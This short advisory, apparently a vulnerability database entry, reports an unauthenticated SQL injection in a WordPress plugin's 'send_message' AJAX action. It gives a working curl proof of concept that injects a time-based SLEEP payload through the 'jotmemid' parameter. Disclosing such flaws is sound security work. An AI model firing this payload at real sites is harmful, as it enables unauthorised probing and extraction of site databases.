The plugin does not properly sanitise and escape some parameters before using them in SQL statements accessible to unauthenticated users, leading to unauthenticated SQL injection
Invoke the following curl command to induce a 5 second sleep:
time curl 'https://example.com/wp-admin/admin-ajax.php?action=send_message' \
--data 'jotmemid=x-+(SELECT+1+FROM+(SELECT(SLEEP(5)))aaaaaa)'